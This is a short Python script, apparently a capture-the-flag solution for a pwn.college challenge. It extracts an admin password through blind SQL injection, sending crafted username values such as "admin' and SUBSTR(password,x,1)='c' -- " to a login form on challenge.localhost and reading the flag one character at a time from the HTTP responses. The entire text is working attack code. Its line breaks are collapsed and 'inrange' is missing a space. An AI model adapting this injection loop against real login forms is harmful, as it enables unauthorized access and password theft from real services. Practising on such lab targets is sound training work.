import requests import string flag=r"pwn.college{" flagLen=59 url="http://challenge.localhost:80" hostName={"Host":"challenge.localhost:80"} password="123456" #admin ' and SUBSTR(password,1,1)='p' for x inrange(13,flagLen+1): for charac in string.printable: username="admin' and SUBSTR(password,"+str(x)+",1)='" username+=charac username+="' -- " body={"username":username,"password":password} response=requests.post(url,data=body,headers=hostName) if response.status_code==200: flag+=charac break print("{}\n".format(flag))